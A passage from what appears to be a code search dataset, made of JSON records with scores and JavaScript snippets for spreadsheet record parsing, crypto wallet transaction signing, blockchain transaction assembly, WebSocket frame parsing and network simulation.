prepare_streamed_tx(tx){\n var prepared = wrap_tx(tx);\n\n prepared.hash = prepared.transaction.hash\n\n return prepared;\n}", "title": "" }, { "docid": "0aa59e3cab30836dbe51a2973498e22f", "score": "0.4839177", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo; // eslint-disable-line no-unused-vars\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\t/*var cbRuns = */blob.read_shift(2);\n\t/*var ifntEmpty = */parseuint16(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* [MS-XLS] 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "0aa59e3cab30836dbe51a2973498e22f", "score": "0.4839177", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo; // eslint-disable-line no-unused-vars\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\t/*var cbRuns = */blob.read_shift(2);\n\t/*var ifntEmpty = */parseuint16(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* [MS-XLS] 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "0aa59e3cab30836dbe51a2973498e22f", "score": "0.4839177", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo; // eslint-disable-line no-unused-vars\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\t/*var cbRuns = */blob.read_shift(2);\n\t/*var ifntEmpty = */parseuint16(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* [MS-XLS] 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "0aa59e3cab30836dbe51a2973498e22f", "score": "0.4839177", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo; // eslint-disable-line no-unused-vars\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\t/*var cbRuns = */blob.read_shift(2);\n\t/*var ifntEmpty = */parseuint16(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* [MS-XLS] 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "0aa59e3cab30836dbe51a2973498e22f", "score": "0.4839177", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo; // eslint-disable-line no-unused-vars\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\t/*var cbRuns = */blob.read_shift(2);\n\t/*var ifntEmpty = */parseuint16(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* [MS-XLS] 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "0aa59e3cab30836dbe51a2973498e22f", "score": "0.4839177", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo; // eslint-disable-line no-unused-vars\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\t/*var cbRuns = */blob.read_shift(2);\n\t/*var ifntEmpty = */parseuint16(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* [MS-XLS] 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "0aa59e3cab30836dbe51a2973498e22f", "score": "0.4839177", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo; // eslint-disable-line no-unused-vars\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\t/*var cbRuns = */blob.read_shift(2);\n\t/*var ifntEmpty = */parseuint16(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* [MS-XLS] 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "0aa59e3cab30836dbe51a2973498e22f", "score": "0.4839177", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo; // eslint-disable-line no-unused-vars\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\t/*var cbRuns = */blob.read_shift(2);\n\t/*var ifntEmpty = */parseuint16(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* [MS-XLS] 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "73f9b3d944f6c35ae468f52f4e39c695", "score": "0.4799334", "text": "async signTransactionWithTokenName(path, rawTxHex, tokenSignatures) {\n //const bipPath = BIPPath.fromString(path).toPathArray();\n let paths = splitPath(path);\n const rawTx = new Buffer(rawTxHex, \"hex\");\n let buffers = [];\n let offset = 0;\n while (offset !== rawTx.length) {\n let maxChunkSize =\n offset === 0\n ? CHUNK_SIZE - PATHS_LENGTH_SIZE - paths.length * PATH_SIZE\n : CHUNK_SIZE;\n\n let chunkSize =\n offset + maxChunkSize > rawTx.length\n ? rawTx.length - offset\n : maxChunkSize;\n\n let buffer = new Buffer.alloc(\n offset === 0 ? 1 + paths.length * PATH_SIZE + chunkSize : chunkSize\n );\n\n if (offset === 0) {\n buffer[0] = paths.length;\n paths.forEach((element, index) => {\n buffer.writeUInt32BE(element, 1 + 4 * index);\n });\n rawTx.copy(\n buffer,\n PATHS_LENGTH_SIZE + PATH_SIZE * paths.length,\n offset,\n offset + chunkSize\n );\n } else {\n rawTx.copy(buffer, 0, offset, offset + chunkSize);\n }\n\n buffers.push(buffer);\n offset += chunkSize;\n }\n\n if (tokenSignatures !== undefined) {\n for (let i = 0; i < tokenSignatures.length; i++) {\n let buffer = new Buffer(tokenSignatures[i], \"hex\");\n buffers.push(buffer);\n }\n }\n\n if (buffers.length === 1) {\n buffers = [[0x10, buffers[0]]];\n } else if (buffers.length > 1) {\n buffers = buffers.map((p, i) => {\n let startByte;\n if (i === 0) {\n startByte = 0x00;\n } else if (buffers.length > 1 && i === buffers.length - 1) {\n if (tokenSignatures !== undefined) {\n startByte = 0xa8 | (tokenSignatures.length - 1);\n } else {\n startByte = 0x90;\n }\n } else {\n let pos = buffers.length - tokenSignatures.length;\n if (pos !== undefined) {\n startByte = 0xa0 | (i - pos);\n } else {\n startByte = 0x80;\n }\n }\n\n return [startByte, p];\n });\n }\n\n let response;\n return foreach(buffers, ([startByte, data]) => {\n return this.transport\n .send(CLA, SIGN, startByte, 0x00, data)\n .then(apduResponse => {\n response = apduResponse;\n });\n }).then(() => response.slice(0, 65));\n }", "title": "" }, { "docid": "391c04491bfff7660d9641cf460c97b6", "score": "0.47902742", "text": "function packageTX(assetID, req){\n\tvar cryptoContent = helper.getKey(req.username, req.orgname);\n\tvar cer = cryptoContent.signedCertPEM;\n\n\tvar timeStamp = new Date().getTime();\n \n\tvar json_tx = {\"tx_id\": \"\", \n \t\t\"asset_id\": \"\",\n \t\t\"version\": \"1.0\",\n \t\t\"tx_in_count\": 1,\n \t\t\"tx_out_count\": 1,\n \t\t\"tx_in\":{\"hash\":\"genesis_tx\",\"index\":0,\"scriptsig_r\":\"\",\"scriptsig_s\":\"\"},\n \t\t\"tx_out\":[{\"value\":1,\"certificate\":\"\"}],\n\t\t\"tx_time\":\"\"\n \t};\n\n\tvar txID = crypto.createHASH(JSON.stringify(json_tx));\n\tjson_tx[\"tx_id\"] = txID;\t\n\tjson_tx[\"tx_time\"] = String(timeStamp);\n\tjson_tx[\"asset_id\"] = assetID;\t\n\n\tvar rsSig = crypto.createECDSASig(JSON.stringify(json_tx), req.username, req.orgname);\n\n\tvar json_sig = JSON.parse(rsSig);\n\tjson_tx[\"tx_in\"][\"scriptsig_r\"] = json_sig[\"r\"];\n\tjson_tx[\"tx_in\"][\"scriptsig_s\"] = json_sig[\"s\"];\n\tjson_tx[\"tx_out\"][0][\"certificate\"] = cer;\n\n\tvar str_tx = JSON.stringify(json_tx); \n\t\n\tlogger.debug('full tx : ' + str_tx);\n\t\n\treturn str_tx;\n}", "title": "" }, { "docid": "ea0319afa5a23af89e169790a75a07b8", "score": "0.47526914", "text": "commit_tx(potential_rx_nodes, schedule_status, transmissions) {\n \n \n \n /* update the packet's status */\n this.tx_packet.num_transmissions += 1;\n this.tx_packet.rx_info = {};\n /* update this node's stats */\n this.stats_mac_tx += 1;\n if (this.tx_packet.is_ack_required) {\n this.stats_mac_tx_unicast += 1;\n this.stats_slots_tx_packet_rx_ack[this.tx_packet.length] += 1;\n } else {\n this.stats_slots_tx_packet[this.tx_packet.length] += 1;\n }\n \n log.log(log.ERROR, null, \"TSCH\", `chloe: stats_slots_tx_packet= ${this.stats_slots_tx_packet[this.tx_packet.length]}`);\n log.log(log.ERROR, null, \"TSCH\", `chloe: stats_slots_Rx_packet= ${Object.values(this.stats_slots_rx_packet).sum()}`);\n \n\n \n /* update the schedule status for the web interface */\n schedule_status[this.index].flags |= constants.FLAG_PACKET_TX;\n schedule_status[this.index].from = this.id;\n schedule_status[this.index].to = this.tx_packet.nexthop_id;\n schedule_status[this.index].l = this.tx_packet.length;\n\n this.log(log.DEBUG, `tx length=${this.tx_packet.length} to=${this.tx_packet.nexthop_id} ack_required=${this.tx_packet.is_ack_required}`);\n /* try to send to each potential neigbhbor; the neighbors will filter out packets by the nexthop */\n for (const [dst_id, _] of this.links) {\n const dst = this.network.get_node(dst_id);\n\n /* if the tx is unicast to the parent, update parent stats */\n if (this.tx_packet.is_ack_required\n && this.current_time_source\n && this.current_time_source.id === dst.id) {\n this.stats_mac_parent_tx_unicast += 1;\n }\n\n const dst_status = schedule_status[dst.index];\n if (!dst_status) {\n continue;\n }\n\n if (!(dst_status.flags & constants.FLAG_RX)) {\n continue;\n }\n\n if (dst.selected_cell == null) {\n /* The dst node is idle at this point */\n /* this.log(log.DEBUG, ` commit_tx ${dst.id}: dst not listening`); */\n continue;\n }\n\n if (dst.tx_packet != null) {\n /* The dst node is transmitting its own packet */\n /* this.log(log.DEBUG, ` commit_tx ${dst.id}: dst is transmitting`); */\n continue;\n }\n\n this.commit_tx_to(dst, potential_rx_nodes, schedule_status, transmissions);\n }\n }", "title": "" }, { "docid": "aafce6426a26c82d5d154ca65b654377", "score": "0.47421318", "text": "function readTransaction() {\n return __awaiter(this, void 0, void 0, function () {\n var id, newURL, resp, j;\n return __generator(this, function (_a) {\n switch (_a.label) {\n case 0:\n id = { 'id': \"transaction\" };\n newURL = url + \"/read\";\n return [4 /*yield*/, postData(newURL, id)];\n case 1:\n resp = _a.sent();\n return [4 /*yield*/, resp.json()];\n case 2:\n j = _a.sent();\n if (j) {\n return [2 /*return*/, j];\n }\n else {\n return [2 /*return*/, \"Error: Could not read\"];\n }\n return [2 /*return*/];\n }\n });\n });\n}", "title": "" }, { "docid": "f472b09ef2690605adb312cb9fe7d596", "score": "0.47346368", "text": "processTransactions() {\n return __awaiter(this, void 0, void 0, function* () {\n const processedTxs = [];\n let messages = [];\n let nonce = yield this.wallet.getNonce(this.nonce);\n const batchNonce = nonce;\n for (const tx of this.txs) {\n tx.tx.nonce = nonce++;\n switch (tx.type) {\n case 'Withdraw':\n messages.push(this.wallet.getWithdrawEthMessagePart(tx.tx));\n const withdraw = { tx: yield this.wallet.getWithdrawFromSyncToEthereum(tx.tx) };\n processedTxs.push(withdraw);\n break;\n case 'Transfer':\n messages.push(this.wallet.getTransferEthMessagePart(tx.tx));\n const transfer = { tx: yield this.wallet.getTransfer(tx.tx) };\n processedTxs.push(transfer);\n break;\n case 'ChangePubKey':\n // ChangePubKey requires its own Ethereum signature, we either expect\n // it to be signed already or do it here.\n const changePubKey = tx.alreadySigned\n ? tx.tx\n : (yield this.wallet.signSetSigningKey(tx.tx)).tx;\n const currentPubKeyHash = yield this.wallet.getCurrentPubKeyHash();\n if (currentPubKeyHash === changePubKey.newPkHash) {\n throw new Error('Current signing key is already set');\n }\n messages.push(this.wallet.getChangePubKeyEthMessagePart({\n pubKeyHash: changePubKey.newPkHash,\n feeToken: tx.token,\n fee: changePubKey.fee\n }));\n processedTxs.push({ tx: changePubKey });\n break;\n case 'ForcedExit':\n messages.push(this.wallet.getForcedExitEthMessagePart(tx.tx));\n const forcedExit = { tx: yield this.wallet.getForcedExit(tx.tx) };\n processedTxs.push(forcedExit);\n break;\n }\n }\n messages.push(`Nonce: ${batchNonce}`);\n return {\n txs: processedTxs,\n message: messages.filter((part) => part.length != 0).join('\\n')\n };\n });\n }", "title": "" }, { "docid": "1b0f67a94a85566d074adfa3181dc810", "score": "0.4734199", "text": "async function txDetail() {\n let details = await BITBOX.Transaction.details(TXID);\n console.log(details);\n\n console.log(\n `scriptPubKey[0]: ${JSON.stringify(details.vout[0].scriptPubKey, null, 2)}`\n );\n}", "title": "" }, { "docid": "2e8d4b559566347dc1155b408bcc4566", "score": "0.4734023", "text": "function parse_TxO(blob, length, opts) {\n\t\tvar s = blob.l;\n\t\tvar texts = \"\";\n\ttry {\n\t\tblob.l += 4;\n\t\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\t\tvar controlInfo;\n\t\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\t\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\t\tvar cchText = blob.read_shift(2);\n\t\tvar cbRuns = blob.read_shift(2);\n\t\tvar ifntEmpty = parse_FontIndex(blob, 2);\n\t\tvar len = blob.read_shift(2);\n\t\tblob.l += len;\n\t\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\t\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\t\tvar hdr = blob[blob.l];\n\t\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\t\ttexts += t;\n\t\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t\t}\n\t\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t\t}\n\n\t\tblob.l = s + length;\n\t\t/* 2.5.272 TxORuns */\n\t//\tvar rgTxoRuns = [];\n\t//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n\t//\tvar cchText2 = blob.read_shift(2);\n\t//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n\t//\tblob.l += 6;\n\t//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\t\treturn { t: texts };\n\t} catch(e) { blob.l = s + length; return { t: texts }; }\n\t}", "title": "" }, { "docid": "46a1b4857c345c4fc26bb606086cd81d", "score": "0.47230205", "text": "_onNtf11Data(event) { // seems to sends 0 all the time during normal operation\n let evtData = event.target.value;\n evtData = evtData.buffer ? evtData : new DataView(evtData);\n let view8 = new Uint8Array(evtData.buffer);\n log (\"ntf11 : \" + view8.toString()); // log raw data\n }", "title": "" }, { "docid": "83e9ca9a1d84e8b189084ea43f610de1", "score": "0.47190556", "text": "getInfo() {\n if (this.bufferedBytes < 2) {\n this.loop = false;\n return;\n }\n\n const buffer = this.consume(2);\n\n if ((buffer[0] & 0x30) !== 0x0) {\n error('RSV2 and RSV3 must be clear', 1002);\n }\n\n const compressed = (buffer[0] & 0x40) === 0x40;\n\n if (compressed) {\n // && !decompressionEnabled\n error('RSV1 must be clear', 1002);\n }\n\n this.fin = (buffer[0] & 0x80) === 0x80;\n this.opCode = buffer[0] & 0xf;\n this.payloadLength = buffer[1] & 0x7f;\n\n if (this.opCode === opCodes.CONTINUATION) {\n if (compressed) {\n error('RSV1 must be clear', 1002);\n }\n\n if (!this.fragmented) {\n error('Invalid opCode 0', 1002);\n }\n\n this.opCode = this.fragmented;\n } else if (this.opCode === opCodes.TEXT || this.opCode === opCodes.BINARY) {\n if (this.fragmented) {\n error(`Invalid opCode ${this.opCode}`, 1002);\n }\n\n this.compressed = compressed;\n } else if (isControlOpCode(this.opCode)) {\n if (!this.fin) {\n error('FIN must be set', 1002);\n }\n\n if (compressed) {\n error('RSV1 must be clear', 1002);\n }\n\n if (this.payloadLength > 0x7d) {\n error(`Invalid payload length ${this.payloadLength}`, 1002);\n }\n } else {\n error(`Invalid opCode ${this.opCode}`, 1002);\n }\n\n if (!this.fin && !this.fragmented) {\n this.fragmented = this.opCode;\n }\n\n this.masked = (buffer[1] & 0x80) === 0x80;\n const length = this.payloadLength;\n\n if (length === 126) {\n this.state = states.GET_PAYLOAD_LENGTH_16;\n } else if (length === 127) {\n this.state = states.GET_PAYLOAD_LENGTH_64;\n } else {\n return this.haveLength();\n }\n }", "title": "" }, { "docid": "6db03d433eae98ae638f2f42ca7a269e", "score": "0.46810943", "text": "async signTransaction(path, rawTxHex) {\n let paths = splitPath(path);\n let rawTx = new Buffer(rawTxHex, \"hex\");\n let buffers = [];\n let offset = 0;\n while (offset !== rawTx.length) {\n let maxChunkSize =\n offset === 0\n ? CHUNK_SIZE - PATHS_LENGTH_SIZE - paths.length * PATH_SIZE\n : CHUNK_SIZE;\n let chunkSize =\n offset + maxChunkSize > rawTx.length\n ? rawTx.length - offset\n : maxChunkSize;\n let buffer = new Buffer(\n offset === 0 ? 1 + paths.length * PATH_SIZE + chunkSize : chunkSize\n );\n if (offset === 0) {\n buffer[0] = paths.length;\n paths.forEach((element, index) => {\n buffer.writeUInt32BE(element, 1 + 4 * index);\n });\n rawTx.copy(\n buffer,\n PATHS_LENGTH_SIZE + PATH_SIZE * paths.length,\n offset,\n offset + chunkSize\n );\n } else {\n rawTx.copy(buffer, 0, offset, offset + chunkSize);\n }\n buffers.push(buffer);\n offset += chunkSize;\n }\n if (buffers.length === 1) {\n buffers = [[0x10, buffers[0]]];\n } else if (buffers.length > 1) {\n buffers = buffers.map((p, i) => {\n let startByte;\n if (i === 0) {\n startByte = 0x00;\n } else if (buffers.length > 1 && i === buffers.length - 1) {\n startByte = 0x90;\n } else {\n startByte = 0x80;\n }\n return [startByte, p];\n });\n }\n let response;\n return foreach(buffers, ([startByte, data]) => {\n return this.transport\n .send(CLA, 0x04, startByte, 0x00, data)\n .then(apduResponse => {\n response = apduResponse;\n });\n }).then(() => response);\n }", "title": "" }, { "docid": "456d4cc7e0789fa37e483e07c1ffd8e6", "score": "0.4679202", "text": "TXS() { this.SP = this.X; }", "title": "" }, { "docid": "36f9db98f902737e2591850ed1f72ed3", "score": "0.4664325", "text": "assembleTransaction() {\n // Create a buffered version statement.\n const version = Buffer.from(\"02000000\", \"hex\");\n\n // Create the input counter and input data buffers.\n const inputCount = varInt(this.inputs.length);\n const inputs = this.serializeCommitments();\n\n // Create the output counter and output data buffer.\n const outputCount = varInt(\n Object.keys(this.outputs).length\n );\n const outputs = this.serializeOutputs();\n\n // Create a buffered disable locktime statement.\n const locktime = Buffer.from(\"00000000\", \"hex\");\n\n // Return the assembled transaction.\n return Buffer.concat([\n version,\n inputCount,\n inputs,\n outputCount,\n outputs,\n locktime,\n ]);\n }", "title": "" }, { "docid": "7ae28afe6cfa164f308c124180c40eeb", "score": "0.4630291", "text": "function createPendingTransactionLog(transaction) {\n \n var pendingTran = { \n NodeProvider: rpcAddress, \n ListenerHostName: ipAddr, \n ListenerReceivedTimestamp: new Date().toISOString(),\n TransactionHash: transaction.hash,\n TransactionNonce: transaction.nonce,\n FromAddress: 